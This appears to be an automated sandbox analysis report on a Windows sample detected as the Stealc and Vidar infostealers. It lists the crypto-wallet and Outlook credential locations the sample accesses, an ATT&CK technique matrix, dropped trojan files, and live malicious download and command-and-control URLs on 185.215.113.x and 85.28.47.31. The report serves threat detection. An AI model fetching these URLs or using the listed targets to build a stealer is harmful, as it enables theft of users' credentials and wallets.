Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2036, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2400608729.0000000002507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2836612791.0000000002698000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7ca32398cd.exe PID: 8012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7ca32398cd.exe PID: 1336, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2036, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Native API	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	212 Process Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	23 Software Packing	NTDS	336 System Information Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	47%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\1000003002\5aa32fec17.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\1000003002\5aa32fec17.exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.Babadeda
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\enter[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.Babadeda
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	50%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	50%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	50%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
chrome.cloudflare-dns.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
twitter.com	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	0%	Virustotal	Browse
prod.remote-settings.prod.webservices.mozgcp.net	0%	Virustotal	Browse
contile.services.mozilla.com	0%	Virustotal	Browse
services.addons.mozilla.org	0%	Virustotal	Browse
dyna.wikimedia.org	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://www.leboncoin.fr/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	0%	URL Reputation	safe
https://www.youtube.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/	0%	URL Reputation	safe
https://youtube.com/	0%	URL Reputation	safe
https://apis.google.com/js/api.js	0%	URL Reputation	safe
https://www.amazon.com/	0%	URL Reputation	safe
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://www.youtube.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1283601	0%	URL Reputation	safe
https://MD8.mozilla.org/1/m	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://addons.mozilla.org/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
http://a9.com/-/spec/opensearch/1.0/	0%	URL Reputation	safe
http://mozilla.org/MPL/2.0/.	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://a9.com/-/spec/opensearch/1.1/	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema	0%	URL Reputation	safe
http://developer.mozilla.org/en/docs/DOM:element.addEventListener	0%	URL Reputation	safe
https://identity.mozilla.com/apps/relay	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1678448	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
http://185.215.113.16/stealc/random.exencoded	100%	Avira URL Cloud	phishing
https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://truecolors.firefox.com/	0%	URL Reputation	safe
http://85.28.47.31/5499d72b3a3e55be.	100%	Avira URL Cloud	malware
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	malware
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	100%	Avira URL Cloud	malware
https://twitter.com/	0%	URL Reputation	safe
http://185.215.113.19/238F-46AF-ADB4-6C85480369C7	100%	Avira URL Cloud	phishing
https://www.olx.pl/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1193802	0%	URL Reputation	safe
http://185.215.113.19/Vi9leo/index.phpsm	100%	Avira URL Cloud	phishing
http://185.215.113.19/ows	100%	Avira URL Cloud	phishing
https://support.mozilla.org/products/firefox	0%	URL Reputation	safe
https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=e	0%	Avira URL Cloud	safe
http://85.28.47.31silence	0%	Avira URL Cloud	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://support.mozilla.org/	0%	URL Reputation	safe
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://github.com/w3c/csswg-drafts/issues/4650	0%	Avira URL Cloud	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://getpocket.com/firefox/new_tab_learn_more/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://85.28.47.31/7w	100%	Avira URL Cloud	malware
https://github.com/mozilla-services/screenshots	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/softokn3.dll	100%	Avira URL Cloud	malware
http://85.28.47.31/8405906461a5200c/nss3.dll	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phpEscape	100%	Avira URL Cloud	phishing
http://185.215.113.16/cost/random.exe	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.phpsoft	100%	Avira URL Cloud	phishing
https://ok.ru/	0%	Avira URL Cloud	safe
http://185.215.113.19/00003002	100%	Avira URL Cloud	phishing
https://www.bbc.co.uk/	0%	Avira URL Cloud	safe
https://cdn.ep	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/enter.exera	100%	Avira URL Cloud	phishing
http://185.215.113.16/stealc/random.exerb	100%	Avira URL Cloud	phishing
http://185.215.113.16/mine/enter.exeM32	100%	Avira URL Cloud	phishing
https://www.iqiyi.com/	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/enter.exe	100%	Avira URL Cloud	phishing
https://services.addons.mozilla.org/api/v4/addons/search/?guid=default-theme%40mozilla.org%2Caddons-	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.php00003002	100%	Avira URL Cloud	phishing
http://185.215.113.16/cost/random.exeW	100%	Avira URL Cloud	phishing
https://www.zhihu.com/	0%	Avira URL Cloud	safe
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	0%	Avira URL Cloud	safe
http://185.215.113.16/stealc/random.exe393d	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php&b~	100%	Avira URL Cloud	phishing
https://duckduckgo.com/?t=ffab&q=	0%	Avira URL Cloud	safe
https://www.amazon.co.uk/	0%	Avira URL Cloud	safe
https://play.google.com/log?format=json&hasfast=true&authuser=0	0%	Avira URL Cloud	safe
https://vk.com/	0%	Avira URL Cloud	safe
https://www.google.com/search	0%	Avira URL Cloud	safe
https://play.google.com/log?hasfast=true&authuser=0&format=json	0%	Avira URL Cloud	safe
http://185.215.113.19/c0f9c30b4baed74c61395d7fac00b58987e8e8fda7df30804042ba5ce902415450#1.	100%	Avira URL Cloud	phishing
https://www.google.com/complete/search	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.php(8)	100%	Avira URL Cloud	phishing
http://85.28.47.31/5499d72b3a3e55be.phposition:	100%	Avira URL Cloud	malware
https://github.com/google/closure-compiler/issues/3177	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.0.35	true	false	0%, Virustotal, Browse	unknown
chrome.cloudflare-dns.com	162.159.61.3	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
twitter.com	104.244.42.129	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
services.addons.mozilla.org	143.204.215.18	true	false	0%, Virustotal, Browse	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	0%, Virustotal, Browse	unknown
dyna.wikimedia.org	185.15.59.224	true	false	0%, Virustotal, Browse	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	0%, Virustotal, Browse	unknown
contile.services.mozilla.com	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
youtube-ui.l.google.com	142.250.186.142	true	false		unknown
www3.l.google.com	142.250.184.238	true	false		unknown
play.google.com	172.217.18.14	true	false		unknown
reddit.map.fastly.net	151.101.193.140	true	false		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
ipv4only.arpa	192.0.0.170	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
www.google.com	216.58.206.68	true	false		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	true		unknown
spocs.getpocket.com	unknown	unknown	true		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	true		unknown
support.mozilla.org	unknown	unknown	true		unknown
firefox.settings.services.mozilla.com	unknown	unknown	true		unknown
push.services.mozilla.com	unknown	unknown	true		unknown
www.youtube.com	unknown	unknown	true		unknown
www.facebook.com	unknown	unknown	true		unknown
detectportal.firefox.com	unknown	unknown	true		unknown
bzib.nelreports.net	unknown	unknown	true		unknown
accounts.youtube.com	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	true		unknown
www.wikipedia.org	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.31silence	true	Avira URL Cloud: safe	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/nss3.dll	true	Avira URL Cloud: malware	unknown
https://www.google.com/favicon.ico	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/enter.exe	false	Avira URL Cloud: phishing	unknown
https://play.google.com/log?format=json&hasfast=true&authuser=0	false	Avira URL Cloud: safe	unknown
https://play.google.com/log?hasfast=true&authuser=0&format=json	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/stealc/random.exencoded	explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.	7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.leboncoin.fr/	firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000021.00000003.3396520559.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3344209400.00000169CE4BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3245256810.00000169D34CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341178431.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3322568003.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=e	firefox.exe, 0000001C.00000003.2821879892.0000029FD2C6E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2823432869.0000029FD2C81000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2823704652.0000029FD3060000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2821980090.0000029FD2C80000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.19/238F-46AF-ADB4-6C85480369C7	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.youtube.com	firefox.exe, 00000021.00000003.3246647026.00000169D1B76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3411645544.00000169CBD3C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/ows	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000021.00000003.2928245347.00000169C974A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2921875534.00000169C9707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000021.00000003.3263338339.00000169CAB13000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.phpsm	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3370039347.00000169CBD43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/7w	file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000021.00000003.2921875534.00000169C9707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://youtube.com/	firefox.exe, 00000021.00000003.3370039347.00000169CBD7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3336782696.00000169D38F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3172465493.00000169CBD7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3383948586.00000169CBD7F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.phpEscape	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.16/cost/random.exe	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://apis.google.com/js/api.js	chromecache_259.35.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ok.ru/	firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/	firefox.exe, 00000021.00000003.3336782696.00000169D38FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	firefox.exe, 00000021.00000003.3068413093.00000169D9977000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/00003002	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpsoft	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2426906219.0000000028B90000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 00000021.00000003.3336782696.00000169D38FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3324674203.00000169D16D8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1283601	firefox.exe, 00000021.00000003.3303414952.00000169CB3CE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
